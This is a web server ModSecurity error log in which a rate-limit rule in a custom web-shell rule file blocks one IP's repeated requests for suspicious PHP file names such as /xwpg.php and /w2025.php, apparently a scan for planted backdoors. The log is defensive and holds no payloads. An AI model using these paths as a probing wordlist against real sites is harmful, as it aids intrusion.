[Fri Apr 17 01:39:56.249172 2026] [:error] [pid 26480:tid 26502] [client 172.213.224.11:49620] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "aeEe7AwLDJKTQNfarA19xwAAAdQ"]
[Fri Apr 17 01:39:56.993009 2026] [:error] [pid 43387:tid 43456] [client 172.213.224.11:27862] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "aeEe7CBNsONqHxWTakU_LgAAAIU"]
[Fri Apr 17 01:39:57.940037 2026] [:error] [pid 11692:tid 11698] [client 172.213.224.11:27115] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "aeEe7c1AYuhm4BZwKNocwwAAAgE"]
[Fri Apr 17 01:39:58.612823 2026] [:error] [pid 11854:tid 11878] [client 172.213.224.11:27122] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "aeEe7txJCSIaqP1XSdab5wAAAlU"]
[Fri Apr 17 01:39:59.479969 2026] [:error] [pid 43387:tid 43471] [client 172.213.224.11:27095] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "aeEe7yBNsONqHxWTakU_MQAAAJI"]
[Fri Apr 17 01:40:00.059299 2026] [:error] [pid 43482:tid 43496] [client 172.213.224.11:27900] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "aeEe8D9SZnuKxlHrct2kNgAAAMw"]
[Fri Apr 17 01:40:00.660954 2026] [:error] [pid 43387:tid 43448] [client 172.213.224.11:49915] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "aeEe8CBNsONqHxWTakU_MwAAAIA"]
[Fri Apr 17 01:40:01.388201 2026] [:error] [pid 11692:tid 11721] [client 172.213.224.11:27642] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "aeEe8c1AYuhm4BZwKNoczAAAAhg"]
[Fri Apr 17 01:40:02.293136 2026] [:error] [pid 26102:tid 26116] [client 172.213.224.11:27130] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aeEe8v127aFqw6ALdngZVAAAAYs"]
[Fri Apr 17 01:40:02.908983 2026] [:error] [pid 11692:tid 11719] [client 172.213.224.11:27132] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aeEe8s1AYuhm4BZwKNoczgAAAhY"]
[Fri Apr 17 01:40:03.497165 2026] [:error] [pid 11854:tid 11872] [client 172.213.224.11:49879] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aeEe89xJCSIaqP1XSdab8AAAAk8"]
[Fri Apr 17 01:40:04.104662 2026] [:error] [pid 43387:tid 43468] [client 172.213.224.11:27589] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aeEe9CBNsONqHxWTakU_NwAAAI8"]
[Fri Apr 17 01:40:04.601708 2026] [:error] [pid 43387:tid 43476] [client 172.213.224.11:19498] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aeEe9CBNsONqHxWTakU_OAAAAJc"]
[Fri Apr 17 01:40:05.115099 2026] [:error] [pid 3245:tid 3280] [client 172.213.224.11:27078] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aeEe9aESOMTHVLs-uFDYrgAAARI"]
[Fri Apr 17 01:40:05.658199 2026] [:error] [pid 26102:tid 26128] [client 172.213.224.11:49633] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aeEe9f127aFqw6ALdngZWgAAAZc"]
[Fri Apr 17 01:40:06.200905 2026] [:error] [pid 43385:tid 43393] [client 172.213.224.11:19492] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "aeEe9snIxkJaUI8KNs4miAAAAAQ"]
[Fri Apr 17 01:40:06.699752 2026] [:error] [pid 43385:tid 43391] [client 172.213.224.11:49892] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aeEe9snIxkJaUI8KNs4mjAAAAAI"]
[Fri Apr 17 01:40:07.240500 2026] [:error] [pid 43385:tid 43412] [client 172.213.224.11:27591] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aeEe98nIxkJaUI8KNs4mjwAAABY"]
[Fri Apr 17 01:40:07.737729 2026] [:error] [pid 43385:tid 43410] [client 172.213.224.11:27619] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aeEe98nIxkJaUI8KNs4mkwAAABQ"]
[Fri Apr 17 01:40:08.271599 2026] [:error] [pid 43385:tid 43400] [client 172.213.224.11:19466] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "aeEe-MnIxkJaUI8KNs4mmAAAAAs"]
[Fri Apr 17 01:40:08.839359 2026] [:error] [pid 4086:tid 4093] [client 172.213.224.11:27620] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aeEe-Flz7gxl_exM0FpKXwAAAUU"]
[Fri Apr 17 01:40:09.343710 2026] [:error] [pid 26480:tid 26505] [client 172.213.224.11:27076] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aeEe-QwLDJKTQNfarA192wAAAdc"]
[Fri Apr 17 01:40:09.908837 2026] [:error] [pid 3245:tid 3272] [client 172.213.224.11:49881] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aeEe-aESOMTHVLs-uFDYsAAAAQo"]
[Fri Apr 17 01:40:10.448858 2026] [:error] [pid 3245:tid 3267] [client 172.213.224.11:49641] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hplfuns.php"] [unique_id "aeEe-qESOMTHVLs-uFDYsgAAAQU"]
[Fri Apr 17 01:40:11.128019 2026] [:error] [pid 26480:tid 26506] [client 172.213.224.11:49883] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "aeEe-wwLDJKTQNfarA193QAAAdg"]
[Fri Apr 17 01:40:11.614159 2026] [:error] [pid 26480:tid 26485] [client 172.213.224.11:27129] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "aeEe-wwLDJKTQNfarA193wAAAcM"]
[Fri Apr 17 01:40:12.439134 2026] [:error] [pid 43482:tid 43500] [client 172.213.224.11:17732] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "aeEe_D9SZnuKxlHrct2kOwAAANA"]
[Fri Apr 17 01:40:13.292970 2026] [:error] [pid 11854:tid 11860] [client 172.213.224.11:49602] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "aeEe_dxJCSIaqP1XSdab9gAAAkM"]
[Fri Apr 17 01:40:13.867548 2026] [:error] [pid 43385:tid 43401] [client 172.213.224.11:27854] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aeEe_cnIxkJaUI8KNs4mqAAAAAw"]
[Fri Apr 17 01:40:14.670938 2026] [:error] [pid 11854:tid 11864] [client 172.213.224.11:19462] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aeEe_txJCSIaqP1XSdab-QAAAkc"]
[Fri Apr 17 01:40:15.327993 2026] [:error] [pid 43385:tid 43395] [client 172.213.224.11:49662] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aeEe_8nIxkJaUI8KNs4mrAAAAAY"]
[Fri Apr 17 01:40:16.143654 2026] [:error] [pid 43482:tid 43501] [client 172.213.224.11:28131] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aeEfAD9SZnuKxlHrct2kRgAAANE"]
[Fri Apr 17 01:40:17.094993 2026] [:error] [pid 43482:tid 43507] [client 172.213.224.11:49629] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aeEfAT9SZnuKxlHrct2kUgAAANc"]
[Fri Apr 17 01:40:17.929939 2026] [:error] [pid 43387:tid 43458] [client 172.213.224.11:27841] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aeEfASBNsONqHxWTakU_QAAAAIc"]
[Fri Apr 17 01:40:18.658039 2026] [:error] [pid 11854:tid 11863] [client 172.213.224.11:49906] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aeEfAtxJCSIaqP1XSdab_gAAAkY"]
[Fri Apr 17 01:40:19.307215 2026] [:error] [pid 43385:tid 43413] [client 172.213.224.11:49605] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "aeEfA8nIxkJaUI8KNs4muAAAABc"]
[Fri Apr 17 01:40:20.018640 2026] [:error] [pid 11854:tid 11876] [client 172.213.224.11:19502] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aeEfBNxJCSIaqP1XSdacAgAAAlM"]
[Fri Apr 17 01:40:20.547981 2026] [:error] [pid 43482:tid 43495] [client 172.213.224.11:49638] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aeEfBD9SZnuKxlHrct2kZgAAAMs"]
[Fri Apr 17 01:40:21.100660 2026] [:error] [pid 3245:tid 3274] [client 172.213.224.11:49617] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aeEfBaESOMTHVLs-uFDYtQAAAQw"]
[Fri Apr 17 01:40:21.809464 2026] [:error] [pid 43482:tid 43501] [client 172.213.224.11:49660] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aeEfBT9SZnuKxlHrct2kawAAANE"]
[Fri Apr 17 01:40:22.341791 2026] [:error] [pid 43387:tid 43474] [client 172.213.224.11:17731] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aeEfBiBNsONqHxWTakU_QgAAAJU"]
[Fri Apr 17 01:40:23.027595 2026] [:error] [pid 43482:tid 43484] [client 172.213.224.11:17748] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aeEfBz9SZnuKxlHrct2kcgAAAMA"]
[Fri Apr 17 01:40:23.691067 2026] [:error] [pid 43385:tid 43410] [client 172.213.224.11:27088] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aeEfB8nIxkJaUI8KNs4mygAAABQ"]
[Fri Apr 17 01:40:24.508087 2026] [:error] [pid 26480:tid 26487] [client 172.213.224.11:49649] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "aeEfCAwLDJKTQNfarA195QAAAcU"]
[Fri Apr 17 01:40:25.252105 2026] [:error] [pid 26480:tid 26483] [client 172.213.224.11:49655] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "aeEfCQwLDJKTQNfarA196AAAAcE"]
[Fri Apr 17 01:40:25.975507 2026] [:error] [pid 26480:tid 26502] [client 172.213.224.11:27608] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "aeEfCQwLDJKTQNfarA196wAAAdQ"]
[Fri Apr 17 01:40:27.498802 2026] [:error] [pid 11854:tid 11868] [client 172.213.224.11:49608] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "aeEfC9xJCSIaqP1XSdacBgAAAks"]
[Fri Apr 17 01:40:28.391788 2026] [:error] [pid 43385:tid 43397] [client 172.213.224.11:49895] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "aeEfDMnIxkJaUI8KNs4m3QAAAAg"]
[Fri Apr 17 01:40:29.109356 2026] [:error] [pid 26102:tid 26111] [client 172.213.224.11:27851] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aeEfDf127aFqw6ALdngZYgAAAYY"]
[Fri Apr 17 01:40:29.866648 2026] [:error] [pid 43385:tid 43390] [client 172.213.224.11:27632] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aeEfDcnIxkJaUI8KNs4m5wAAAAE"]
[Fri Apr 17 01:40:31.047155 2026] [:error] [pid 11854:tid 11867] [client 172.213.224.11:17735] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aeEfD9xJCSIaqP1XSdacDAAAAko"]
[Fri Apr 17 01:40:32.201819 2026] [:error] [pid 43386:tid 43425] [client 172.213.224.11:28128] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "aeEfEO91GAVgUfhPVDHMhgAAAEU"]
[Fri Apr 17 01:40:33.728102 2026] [:error] [pid 43386:tid 43429] [client 172.213.224.11:27090] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aeEfEe91GAVgUfhPVDHMlgAAAEk"]
[Fri Apr 17 01:40:34.920675 2026] [:error] [pid 26480:tid 26482] [client 172.213.224.11:49618] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aeEfEgwLDJKTQNfarA1-DgAAAcA"]
[Fri Apr 17 01:40:36.207899 2026] [:error] [pid 43387:tid 43454] [client 172.213.224.11:27899] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aeEfFCBNsONqHxWTakU_RgAAAIQ"]
[Fri Apr 17 01:40:40.243786 2026] [:error] [pid 43385:tid 43397] [client 172.213.224.11:27633] [client 172.213.224.11] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aeEfGMnIxkJaUI8KNs4m-gAAAAg"]
